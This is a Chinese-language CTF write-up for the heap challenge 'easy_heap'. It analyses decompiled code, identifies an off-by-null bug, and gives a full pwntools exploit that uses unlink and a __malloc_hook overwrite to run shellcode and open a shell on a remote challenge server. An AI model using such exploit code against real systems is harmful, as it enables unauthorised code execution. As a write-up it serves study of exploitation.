点击此处获得更好的阅读体验
解题思路
这个题主要是在offbynull上,题目如果预期解是house of orange的话这个题就复杂了很多但是其实用unlink解就容易多了。
静态分析
main
主要实现了功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { unsigned int v3; unsigned __int64 v4; v4 = __readfsqword(0x28u); v3 = 0; sub_CD0(); while ( 1 ) { while ( 1 ) { menu(); _isoc99_scanf(&unk_12A8, &v3); if ( v3 != 2 ) break; del(); } if ( v3 > 2 ) { if ( v3 == 3 ) { fill(); } else { if ( v3 == 4 ) exit(0); LABEL_13: puts("Invalid choice!"); } } else { if ( v3 != 1 ) goto LABEL_13; add(); } } }
|
del
正常的一个删除函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int del() { void *v0; unsigned int v2; printf("Index: "); v2 = sub_EE5(); if ( v2 <= 0xF && qword_202060[2 * v2 + 1] ) { free(qword_202060[2 * v2 + 1]); qword_202060[2 * v2 + 1] = 0LL; qword_202060[2 * v2] = 0LL; v0 = &unk_202040; --unk_202040; } else { LODWORD(v0) = puts("Invalid index."); } return (signed int)v0;
|
fill
这里存在一个off by null的漏洞是可以利用的
1 2 3 4 5 6 7 8 9 10
| int fill() { unsigned int v1; printf("Index: "); v1 = sub_EE5(); if ( v1 > 0xF || !qword_202060[2 * v1 + 1] ) return puts("Invalid index."); printf("Content: "); return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]); }
|
思路分析
进行一个unlink
控制全局变量,这题还有别的解法就是off by null
来unlink或者largebin attack 去控制和写入mmap的内存
写入mmap内存为shellcode然后利用fastbin attack 改写malloc_hook
这里的方法细节是在bss段构造一个fakechunk然后free进入unsortedbin 会有libc地址残留在指针处,然后改指针的低位,就可以malloc到需要的地方,然后改malloc_hook为one就可以了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* context.arch = "amd64" context.log_level = "debug"
a = ELF("./easy_heap") e = a.libc print hex(e.symbols["puts"]) p = remote("132.232.100.67",10004)
def add(size): p.recvuntil(">> ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def remove(idx): p.recvuntil(">> ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) def edit(idx,content): p.recvuntil(">> ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Content: ") p.sendline(content) p.recvuntil("Mmap: ") mmap_addr = int(p.recvuntil("\n",drop=True),16) print hex(mmap_addr) add(0xf8) p.recvuntil("Address 0x") addr = int(p.recvline().strip(),16) - 0x202068 add(0xf8) add(0x20) edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0)) remove(1) edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr)) edit(1,asm(shellcraft.sh())) bss_addr = 0x202040 edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5) remove(1) edit(0,p64(0)*3+p64(0x100)+'\x10') edit(3,p64(mmap_addr)) add(0x20) p.interactive()
|